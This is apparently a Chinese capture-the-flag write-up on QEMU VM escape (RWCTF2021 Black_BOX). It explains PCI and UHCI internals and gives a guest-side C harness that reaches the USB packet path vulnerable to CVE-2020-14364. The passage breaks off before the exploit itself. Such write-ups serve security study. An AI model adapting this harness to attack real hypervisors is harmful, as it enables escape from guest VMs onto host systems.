0%

黑盒虚拟机逃逸RWCTF2021 Black_BOX

0x01 前言

虚拟机逃逸,通过利用虚拟机程序本身存在的漏洞,我们可以控制虚拟机程序在宿主机上执行任意代码。虚拟机虚拟出各种设备给guest系统使用,这些虚拟设备只是虚拟机程序中的一个模块,如果这些设备存在漏洞,便可以利用起来进行逃逸。

0x02 PCI设备

结构

不管是虚拟设备还是实体硬件设备,都是遵循了设备的定义规范的,PCI设备的内存布局如下

注册一个设备,事实上就是将这样的内存布局初始化完成。在qemu中,硬件的初始化是从pc_init1函数开始的,并且PIC总线也是在这里开始初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* PC hardware initialisation */
static void pc_init1(MachineState *machine,
const char *host_type, const char *pci_type)
{
PCMachineClass *pcmc = PC_MACHINE_GET_CLASS(pcms);
..........
if (pcmc->pci_enabled) { //pci总线可用
PIIX3State *piix3;

pci_bus = i440fx_init(host_type,
pci_type,
&i440fx_state,
system_memory, system_io, machine->ram_size,
x86ms->below_4g_mem_size,
x86ms->above_4g_mem_size,
pci_memory, ram_memory);
pcms->bus = pci_bus;

piix3 = piix3_create(pci_bus, &isa_bus);
piix3->pic = x86ms->gsi;
piix3_devfn = piix3->dev.devfn;
} else { //ISA总线
.........

可见qemu使用的主板型号是i440fx,在i440fx_init函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PCIBus *i440fx_init(const char *host_type, const char *pci_type,
PCII440FXState **pi440fx_state,
MemoryRegion *address_space_mem,
MemoryRegion *address_space_io,
ram_addr_t ram_size,
ram_addr_t below_4g_mem_size,
ram_addr_t above_4g_mem_size,
MemoryRegion *pci_address_space,
MemoryRegion *ram_memory)
{
DeviceState *dev;
PCIBus *b;
PCIDevice *d;
PCIHostState *s;
PCII440FXState *f;
unsigned i;
I440FXState *i440fx;

dev = qdev_new(host_type); //创建PIC主总线设备
s = PCI_HOST_BRIDGE(dev);
b = pci_root_bus_new(dev, NULL, pci_address_space,
address_space_io, 0, TYPE_PCI_BUS); //创建PIC总线
s->bus = b;

有了PIC总线以后,就可以将多种PIC设备挂到这个总线设备上了,每个PIC设备以一个模块的形式存在,qemu在启动时会根据启动参数去加载对应的模块。在qemu中,初始化函数通过调用pci_qdev_register函数将设备挂到PCI总线上。并通过module_init将初始化函数添加到设备候选列表中以供qemu启动参数选择设备。

PCI设备的结构实例可以通过查看文件/sys/devices/pci0000:00/0000:XX:YY.Z/resource,其中XX为PCI总线号,YY为PCI设备号,Z为PCI功能号,每条总线最多可以挂载32个设备,每个设备最多提供8个功能。
可以通过lspci -k命令来查看系统中当前的PCI设备。

1
2
3
4
5
6
7
8
/ # lspci -k
00:01.2 Class 0c03: 8086:7020 uhci_hcd
00:01.0 Class 0601: 8086:7000
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010 ata_piix
00:02.0 Class 0300: 1234:1111

uhci_hcd这个设备为例,其设备资源路径为/sys/devices/pci0000:00/0000:00:01.2/

1
2
3
4
5
6
7
8
9
10
11
/ # ls /sys/devices/pci0000:00/0000:00:01.2/
ari_enabled enable rescan
broken_parity_status irq resource
class local_cpulist resource4
config local_cpus revision
consistent_dma_mask_bits modalias subsystem
d3cold_allowed msi_bus subsystem_device
device numa_node subsystem_vendor
dma_mask_bits pools uevent
driver power usb1
driver_override remove vendor

其中的config文件对应了前面的PCI结构图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/ # xxd  -g 1 /sys/devices/pci0000:00/0000:00:01.2/config
00000000: 86 80 20 70 07 01 00 00 01 00 03 0c 00 00 00 00 .. p............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 c0 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11 A...............
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 0b 04 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 10 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . ..............
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

从结构空间上来看,每个PCI设备最多允许6个Base Address Register,每个BAR记录了该设备映射的一段地址空间,当最后1bit为0时,代表这这映射的是IO内存

当最后1bit为1时,代表这映射的是IO端口

从数据中可以知道,改设备注册了一个BAR,其下标为4,类型为IO端口,并且可以看到在设备目录下存在一个resource4文件与之对应。
同时,我们可以通过查看resource文件获得当前设备所有的BAR对应资源的起始地址、结束地址、flags

/ # cat /sys/devices/pci0000:00/0000:00:01.2/resource 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x000000000000c040 0x000000000000c05f 0x0000000000040101 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000

我们可以知道这个设备的IO端口地址为0x000000000000c040

MMIO

当一个BAR的资源类型为IO内存时,我们可以使用mmap去映射这段内存,然后就可以通过向这段内存写入或读取数据,来与设备进行交互。

1
2
3
4
5
6
7
int mmio_fd = open("/sys/devices/pci0000:00/0000:XX:YY.Z/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

PMIO

当一个BAR的资源类型为IO端口时,我们需要使用指令inout来向端口地址处读取或写入来进行交互。

1
2
3
4
5
6
7
8
9
10
11
uint32_t pmio_port = 0xc040;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,pmio_port+addr);
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(pmio_port+addr);
}

0x03 UHCI(Universal Host Controller Interface)

UHCI是Intel主导的对USB1.0、1.1的接口标准,UHCI是比较老的标准,新的标准有EHCI对应USB2.0,XHCI对应USB3.0,每个标准都有一个对应的硬件控制器,并且属于PCI设备,在qemu中也有对应的实现。在hcd-uhci.c中,首先是将设备注册函数添加到全局设备表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void uhci_register_types(void)
{
TypeInfo uhci_type_info = {
.parent = TYPE_UHCI,
.class_init = uhci_data_class_init,
};
int i;

type_register_static(&uhci_pci_type_info);

for (i = 0; i < ARRAY_SIZE(uhci_info); i++) {
uhci_type_info.name = uhci_info[i].name;
uhci_type_info.class_data = uhci_info + i;
type_register(&uhci_type_info);
}
}

type_init(uhci_register_types)

该设备的初始化函数为uhci_data_class_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void uhci_data_class_init(ObjectClass *klass, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);
DeviceClass *dc = DEVICE_CLASS(klass);
UHCIPCIDeviceClass *u = container_of(k, UHCIPCIDeviceClass, parent_class);
UHCIInfo *info = data;

k->realize = info->realize ? info->realize : usb_uhci_common_realize;
k->exit = info->unplug ? usb_uhci_exit : NULL;
k->vendor_id = info->vendor_id;
k->device_id = info->device_id;
k->revision = info->revision;
if (!info->unplug) {
/* uhci controllers in companion setups can't be hotplugged */
dc->hotpluggable = false;
device_class_set_props(dc, uhci_properties_companion);
} else {
device_class_set_props(dc, uhci_properties_standalone);
}
if (info->notuser) {
dc->user_creatable = false;
}
u->info = *info;
}

该函数初始化PCI设备的一些基本信息,然后k->realize函数将在设备进行实例化时被调用,其中usb_uhci_common_realize函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void usb_uhci_common_realize(PCIDevice *dev, Error **errp)
{
Error *err = NULL;
PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(dev);
UHCIPCIDeviceClass *u = container_of(pc, UHCIPCIDeviceClass, parent_class);
UHCIState *s = UHCI(dev);
uint8_t *pci_conf = s->dev.config;
int i;

pci_conf[PCI_CLASS_PROG] = 0x00;
/* TODO: reset value should be 0. */
pci_conf[USB_SBRN] = USB_RELEASE_1; /* release number */
pci_config_set_interrupt_pin(pci_conf, u->info.irq_pin + 1);
s->irq = pci_allocate_irq(dev);

if (s->masterbus) {
USBPort *ports[NB_PORTS];
for(i = 0; i < NB_PORTS; i++) {
ports[i] = &s->ports[i].port;
}
usb_register_companion(s->masterbus, ports, NB_PORTS,
s->firstport, s, &uhci_port_ops,
USB_SPEED_MASK_LOW | USB_SPEED_MASK_FULL,
&err);
if (err) {
error_propagate(errp, err);
return;
}
} else {
usb_bus_new(&s->bus, sizeof(s->bus), &uhci_bus_ops, DEVICE(dev));
for (i = 0; i < NB_PORTS; i++) {
usb_register_port(&s->bus, &s->ports[i].port, s, i, &uhci_port_ops,
USB_SPEED_MASK_LOW | USB_SPEED_MASK_FULL);
}
}
s->bh = qemu_bh_new(uhci_bh, s);
s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, uhci_frame_timer, s);
s->num_ports_vmstate = NB_PORTS;
QTAILQ_INIT(&s->queues);

memory_region_init_io(&s->io_bar, OBJECT(s), &uhci_ioport_ops, s,
"uhci", 0x20);

/* Use region 4 for consistency with real hardware. BSD guests seem
to rely on this. */
pci_register_bar(&s->dev, 4, PCI_BASE_ADDRESS_SPACE_IO, &s->io_bar);
}

其中s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, uhci_frame_timer, s);注册了一个定时任务,memory_region_init_io(&s->io_bar, OBJECT(s), &uhci_ioport_ops, s,"uhci", 0x20);注册了一个IO端口,其大小为0x20字节,通过pci_register_bar(&s->dev, 4, PCI_BASE_ADDRESS_SPACE_IO, &s->io_bar);注册设备BAR,其下标为4。
IO操作注册表uhci_ioport_ops

1
2
3
4
5
6
7
8
9
static const MemoryRegionOps uhci_ioport_ops = {
.read = uhci_port_read,
.write = uhci_port_write,
.valid.min_access_size = 1,
.valid.max_access_size = 4,
.impl.min_access_size = 2,
.impl.max_access_size = 2,
.endianness = DEVICE_LITTLE_ENDIAN,
};

有两个操作,read和write,分别可以使用out和in指令来进行触发。
其中uhci_port_read读取当前设备的一些状态,addr的值是使用IO时传入的地址相对于该设备基址IO的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static uint64_t uhci_port_read(void *opaque, hwaddr addr, unsigned size)
{
UHCIState *s = opaque;
uint32_t val;

switch(addr) {
case 0x00:
val = s->cmd;
break;
case 0x02:
val = s->status;
break;
case 0x04:
val = s->intr;
break;
case 0x06:
val = s->frnum;
break;
case 0x08:
val = s->fl_base_addr & 0xffff;
break;
case 0x0a:
val = (s->fl_base_addr >> 16) & 0xffff;
break;
case 0x0c:
val = s->sof_timing;
break;
case 0x10 ... 0x1f:
{
UHCIPort *port;
int n;
n = (addr >> 1) & 7;
if (n >= NB_PORTS)
goto read_default;
port = &s->ports[n];
val = port->ctrl;
}
break;
default:
read_default:
val = 0xff7f; /* disabled port */
break;
}

trace_usb_uhci_mmio_readw(addr, val);

return val;
}

同理uhci_port_write向设备写入一些数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
static void uhci_port_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
UHCIState *s = opaque;

trace_usb_uhci_mmio_writew(addr, val);

switch(addr) {
case 0x00:
if ((val & UHCI_CMD_RS) && !(s->cmd & UHCI_CMD_RS)) {
/* start frame processing */
trace_usb_uhci_schedule_start();
s->expire_time = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) +
(NANOSECONDS_PER_SECOND / FRAME_TIMER_FREQ);
timer_mod(s->frame_timer, s->expire_time);
s->status &= ~UHCI_STS_HCHALTED;
} else if (!(val & UHCI_CMD_RS)) {
s->status |= UHCI_STS_HCHALTED;
}
if (val & UHCI_CMD_GRESET) {
UHCIPort *port;
int i;

/* send reset on the USB bus */
for(i = 0; i < NB_PORTS; i++) {
port = &s->ports[i];
usb_device_reset(port->port.dev);
}
uhci_reset(DEVICE(s));
return;
}
if (val & UHCI_CMD_HCRESET) {
uhci_reset(DEVICE(s));
return;
}
s->cmd = val;
if (val & UHCI_CMD_EGSM) {
if ((s->ports[0].ctrl & UHCI_PORT_RD) ||
(s->ports[1].ctrl & UHCI_PORT_RD)) {
uhci_resume(s);
}
}
break;
case 0x02:
s->status &= ~val;
/* XXX: the chip spec is not coherent, so we add a hidden
register to distinguish between IOC and SPD */
if (val & UHCI_STS_USBINT)
s->status2 = 0;
uhci_update_irq(s);
break;
case 0x04:
s->intr = val;
uhci_update_irq(s);
break;
case 0x06:
if (s->status & UHCI_STS_HCHALTED)
s->frnum = val & 0x7ff;
break;
case 0x08:
s->fl_base_addr &= 0xffff0000;
s->fl_base_addr |= val & ~0xfff;
break;
case 0x0a:
s->fl_base_addr &= 0x0000ffff;
s->fl_base_addr |= (val << 16);
break;
case 0x0c:
s->sof_timing = val & 0xff;
break;
case 0x10 ... 0x1f:
{
UHCIPort *port;
USBDevice *dev;
int n;

n = (addr >> 1) & 7;
if (n >= NB_PORTS)
return;
port = &s->ports[n];
dev = port->port.dev;
if (dev && dev->attached) {
/* port reset */
if ( (val & UHCI_PORT_RESET) &&
!(port->ctrl & UHCI_PORT_RESET) ) {
usb_device_reset(dev);
}
}
port->ctrl &= UHCI_PORT_READ_ONLY;
/* enabled may only be set if a device is connected */
if (!(port->ctrl & UHCI_PORT_CCS)) {
val &= ~UHCI_PORT_EN;
}
port->ctrl |= (val & ~UHCI_PORT_READ_ONLY);
/* some bits are reset when a '1' is written to them */
port->ctrl &= ~(val & UHCI_PORT_WRITE_CLEAR);
}
break;
}
}

其中看到case 0x00时如果条件满足,会将计时器时间设为时间到,这样会触发之前注册的定时任务函数uhci_frame_timer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void uhci_frame_timer(void *opaque)
{
UHCIState *s = opaque;
........

for (i = 0; i < frames; i++) {
s->frame_bytes = 0;
trace_usb_uhci_frame_start(s->frnum);
uhci_async_validate_begin(s);
uhci_process_frame(s);
uhci_async_validate_end(s);
/* The spec says frnum is the frame currently being processed, and
* the guest must look at frnum - 1 on interrupt, so inc frnum now */
s->frnum = (s->frnum + 1) & 0x7ff;
s->expire_time += frame_t;
}
.........
}

在该函数中,会调用uhci_process_frame函数处理当前累计需要传送的帧的数据,uhci_process_frame函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void uhci_process_frame(UHCIState *s)
{
uint32_t frame_addr, link, old_td_ctrl, val, int_mask;
uint32_t curr_qh, td_count = 0;
int cnt, ret;
UHCI_TD td;
UHCI_QH qh;
QhDb qhdb;

frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2);

pci_dma_read(&s->dev, frame_addr, &link, 4);
le32_to_cpus(&link);

.........
/* TD */
uhci_read_td(s, &td, link);
trace_usb_uhci_td_load(curr_qh & ~0xf, link & ~0xf, td.ctrl, td.token);

old_td_ctrl = td.ctrl;
ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask);
..........
}

这里从物理地址处先读入一个地址link,然后将link当作物理地址,从中读取一个td结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct UHCI_TD {
uint32_t link;
uint32_t ctrl; /* see TD_CTRL_xxx */
uint32_t token;
uint32_t buffer;
} UHCI_TD;

static void uhci_read_td(UHCIState *s, UHCI_TD *td, uint32_t link)
{
pci_dma_read(&s->dev, link & ~0xf, td, sizeof(*td));
le32_to_cpus(&td->link);
le32_to_cpus(&td->ctrl);
le32_to_cpus(&td->token);
le32_to_cpus(&td->buffer);
}

然后td结构体会被传入uhci_handle_td函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr,
UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask)
{
int ret, max_len;
bool spd;
bool queuing = (q != NULL);
uint8_t pid = td->token & 0xff;
UHCIAsync *async;

..........
/* Is active ? */
if (!(td->ctrl & TD_CTRL_ACTIVE)) {
if (async) {
/* Guest marked a pending td non-active, cancel the queue */
uhci_queue_free(async->queue, "pending td non-active");
}
/*
* ehci11d spec page 22: "Even if the Active bit in the TD is already
* cleared when the TD is fetched ... an IOC interrupt is generated"
*/
if (td->ctrl & TD_CTRL_IOC) {
*int_mask |= 0x01;
}
return TD_RESULT_NEXT_QH;
}

switch (pid) {
case USB_TOKEN_OUT:
case USB_TOKEN_SETUP:
case USB_TOKEN_IN:
break;
default:
/* invalid pid : frame interrupted */
s->status |= UHCI_STS_HCPERR;
s->cmd &= ~UHCI_CMD_RS;
uhci_update_irq(s);
return TD_RESULT_STOP_FRAME;
}

.............
switch(pid) {
case USB_TOKEN_OUT:
case USB_TOKEN_SETUP:
pci_dma_read(&s->dev, td->buffer, async->buf, max_len);
usb_handle_packet(q->ep->dev, &async->packet);
if (async->packet.status == USB_RET_SUCCESS) {
async->packet.actual_length = max_len;
}
break;

case USB_TOKEN_IN:
usb_handle_packet(q->ep->dev, &async->packet);
break;

default:
abort(); /* Never to execute */
}

if (async->packet.status == USB_RET_ASYNC) {
uhci_async_link(async);
if (!queuing) {
uhci_queue_fill(q, td);
}
return TD_RESULT_ASYNC_START;
}
.......
}

uhci_handle_td会根据传入的td结构体里对应的td->token,做出相应的动作,如果是USB_TOKEN_IN或者USB_TOKEN_OUTUSB_TOKEN_SETUP的话,会调用usb_handle_packet函数,然后usb_handle_packet会调用usb_process_one函数,最终完成对USB设备的数据读取。从整个流程下来看,要进入最终的数据交换函数,我们构造如下的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

#define PFN_MASK ((((size_t)1)<<54)-1)
#define UHCI_BASE 0xc040

#define UHCI_CMD_HCRESET (1 << 1)
#define UHCI_CMD_RS (1 << 0)

#define UHCI_PORT_RESET (1 << 9)
#define UHCI_PORT_EN (1 << 2) //enable
#define UHCI_PORT_CCS (1 << 0)

#define TD_CTRL_ACTIVE (1 << 23)

typedef struct UHCI_TD {
uint32_t link;
uint32_t ctrl; /* see TD_CTRL_xxx */
uint32_t token;
uint32_t buffer;
} UHCI_TD;

struct UHCI_TD * td;
uint32_t *td_phy_addr_in_any_frame;

char *dmabuf;
unsigned char *data_buf;
char *setup_buf;

void die(char *msg) {
perror(msg);
exit(-1);
}
/*向设备写入数据*/
void pmio_write(uint32_t addr,uint32_t val) {
outl(val,UHCI_BASE + addr);
}

/*从UHCI读取数据*/
uint32_t pmio_read(uint32_t addr) {
return (uint32_t)inl(UHCI_BASE + addr);
}
//虚拟地址转换为物理地址
size_t get_phys_addr(void *vir_addr) {
int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
if (fd == -1) {
die("open pagemap error");
}
size_t vir = (size_t)vir_addr;
// /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移
size_t offset = vir / 0x1000 * 8;
if (lseek(fd,offset,SEEK_SET) == -1) {
die("lseek pagemap error");
}
size_t addr;
if (read(fd,&addr,8) != 8) {
die("read pagemap error");
}
addr = (addr & PFN_MASK) * 0x1000 + vir % 0x1000;
return addr;
}


void init() {
/* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/
dmabuf = mmap(0, 0x6000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
/* 上锁,防止被调度 */
mlock(dmabuf, 0x6000);

td = (UHCI_TD *)dmabuf;
td_phy_addr_in_any_frame = (uint32_t *)(dmabuf + 0x100);

setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
}


void set_UHCIState() {
//清空UHCI之前的状态,这样我们在下一次就可以触发定时任务了
pmio_write(0,UHCI_CMD_HCRESET);
//初始化USB端口
for(int i=0x10;i <= 0x1f;i++)
pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN);
uint32_t td_phy_addr = get_phys_addr(td);
*td_phy_addr_in_any_frame = td_phy_addr;
//pmio_write(6, 0); //设置s->frnum为0
pmio_write(8, td_phy_addr); //设置s->fl_base_addr为td结构体的物理地址
pmio_write(0, UHCI_CMD_RS);
sleep(1);
}


int main() {
init();
//申请IO权限
iopl(3);
set_UHCIState();

}

set_UHCIState中,第一行pmio_write(0,UHCI_CMD_HCRESET)首先清空UHCI的状态,这样最后一行的pmio_write(0, UHCI_CMD_RS)就可以触发进入uhci_process_frame函数,第二行要先将所有的USB端口状态重置,并且使能。这因为在uhci_handle_td函数中会调用uhci_find_device函数去查找已挂载的USB设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr,
UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask)
{
...................
/* Allocate new packet */
if (q == NULL) {
USBDevice *dev;
USBEndpoint *ep;

dev = uhci_find_device(s, (td->token >> 8) & 0x7f);
if (dev == NULL) {
return uhci_handle_td_error(s, td, td_addr, USB_RET_NODEV,
int_mask);
}
ep = usb_ep_get(dev, pid, (td->token >> 15) & 0xf);
q = uhci_queue_new(s, qh_addr, td, ep);
}
....................

uhci_find_device函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static USBDevice *uhci_find_device(UHCIState *s, uint8_t addr)
{
USBDevice *dev;
int i;

for (i = 0; i < NB_PORTS; i++) {
UHCIPort *port = &s->ports[i];
if (!(port->ctrl & UHCI_PORT_EN)) {
continue;
}
dev = usb_find_device(&port->port, addr);
if (dev != NULL) {
return dev;
}
}
return NULL;
}

需要有UHCI_PORT_EN使能标志,否则uhci_find_device将返回NULL。那么返回上一个函数时,将进入uhci_handle_td_error函数
uhci_handle_td_error函数如下

1
2
3
4
5
6
7
8
9
10
11
12
static int uhci_handle_td_error(UHCIState *s, UHCI_TD *td, uint32_t td_addr,
int status, uint32_t *int_mask)
{
.....................
td->ctrl &= ~TD_CTRL_ACTIVE;
s->status |= UHCI_STS_USBERR;
if (td->ctrl & TD_CTRL_IOC) {
*int_mask |= 0x01;
}
uhci_update_irq(s);
return ret;
}

该函数会将td->ctrl中的TD_CTRL_ACTIVE标志清除掉,并且在返回到uhci_process_frame函数时,由于td->ctrl发生变化,将会通过DMA的方式将变化后的内容重新写回到我们传入到数据中。

1
2
3
4
5
6
7
8
9
10
11
static void uhci_process_frame(UHCIState *s)
{
...............
old_td_ctrl = td.ctrl;
ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask);
if (old_td_ctrl != td.ctrl) {
/* update the status bits of the TD */
val = cpu_to_le32(td.ctrl);
pci_dma_write(&s->dev, (link & ~0xf) + 4, &val, sizeof(val));
}
..............

这将导致下一次进入uhci_handle_td函数时,不满足条件而直接返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr,
UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask)
{
..........
/* Is active ? */
if (!(td->ctrl & TD_CTRL_ACTIVE)) {
if (async) {
/* Guest marked a pending td non-active, cancel the queue */
uhci_queue_free(async->queue, "pending td non-active");
}
/*
* ehci11d spec page 22: "Even if the Active bit in the TD is already
* cleared when the TD is fetched ... an IOC interrupt is generated"
*/
if (td->ctrl & TD_CTRL_IOC) {
*int_mask |= 0x01;
}
return TD_RESULT_NEXT_QH;
}

因此USB端口的初始化是必要的。接下来,由于frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2);,因此s->fl_base_addr必须设置,而s->frnum是一个递增的变量,代表当前的frame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void uhci_frame_timer(void *opaque)
{
.............
for (i = 0; i < frames; i++) {
s->frame_bytes = 0;
trace_usb_uhci_frame_start(s->frnum);
uhci_async_validate_begin(s);
uhci_process_frame(s);
uhci_async_validate_end(s);
/* The spec says frnum is the frame currently being processed, and
* the guest must look at frnum - 1 on interrupt, so inc frnum now */
s->frnum = (s->frnum + 1) & 0x7ff;
s->expire_time += frame_t;
}
...........
}
static void uhci_process_frame(UHCIState *s)
{
uint32_t frame_addr, link, old_td_ctrl, val, int_mask;
uint32_t curr_qh, td_count = 0;
int cnt, ret;
UHCI_TD td;
UHCI_QH qh;
QhDb qhdb;

frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2);
pci_dma_read(&s->dev, frame_addr, &link, 4);
....................
/* TD */
uhci_read_td(s, &td, link);
trace_usb_uhci_td_load(curr_qh & ~0xf, link & ~0xf, td.ctrl, td.token);

old_td_ctrl = td.ctrl;
ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask);
.............

s->frnum的值是从0到0x7ff递增的,只要我们在任何一个s->frnum对应的位置即frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2)处布置下一个数据,这个数据将被读入到link变量中pci_dma_read(&s->dev, frame_addr, &link, 4)。在这里我们选择了dmabuf + 0x100的位置,同时s->fl_base_addr也设置为了td的物理地址。并且由于我们的td就位于dmabuf的开头

1
2
3
4
td_phy_addr_in_any_frame = (uint32_t *)(dmabuf + 0x100);
uint32_t td_phy_addr = get_phys_addr(td);
*td_phy_addr_in_any_frame = td_phy_addr;
pmio_write(8, td_phy_addr); //设置s->fl_base_addr为td结构体的物理地址

那么当((s->frnum & 0x3ff) << 2 == 0x100,即0x40时,pci_dma_read(&s->dev, frame_addr, &link, 4)读取到的就是dmabuf + 0x100,即读取到了td的物理地址。于是uhci_read_td(s, &td, link);从这个物理地址处取出出了td的结构体,然后传递给uhci_handle_td进行处理。

0x04 USB数据包处理漏洞(CVE-2020-14364)

在上述的操作后,我们只需要设置好td结构体里对应的内容,就可以进行USB的读写操作了。usb_handle_packet函数处理一个USB数据包,位于源文件hw/usb/core.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* Hand over a packet to a device for processing.  p->status ==
USB_RET_ASYNC indicates the processing isn't finished yet, the
driver will call usb_packet_complete() when done processing it. */
void usb_handle_packet(USBDevice *dev, USBPacket *p)
{
if (dev == NULL) {
p->status = USB_RET_NODEV;
return;
}
assert(dev == p->ep->dev);
assert(dev->state == USB_STATE_DEFAULT);
usb_packet_check_state(p, USB_PACKET_SETUP);
assert(p->ep != NULL);

/* Submitting a new packet clears halt */
if (p->ep->halted) {
assert(QTAILQ_EMPTY(&p->ep->queue));
p->ep->halted = false;
}

if (QTAILQ_EMPTY(&p->ep->queue) || p->ep->pipeline || p->stream) {
usb_process_one(p);
if (p->status == USB_RET_ASYNC) {
/* hcd drivers cannot handle async for isoc */
assert(p->ep->type != USB_ENDPOINT_XFER_ISOC);
/* using async for interrupt packets breaks migration */
assert(p->ep->type != USB_ENDPOINT_XFER_INT ||
(dev->flags & (1 << USB_DEV_FLAG_IS_HOST)));
usb_packet_set_state(p, USB_PACKET_ASYNC);
QTAILQ_INSERT_TAIL(&p->ep->queue, p, queue);
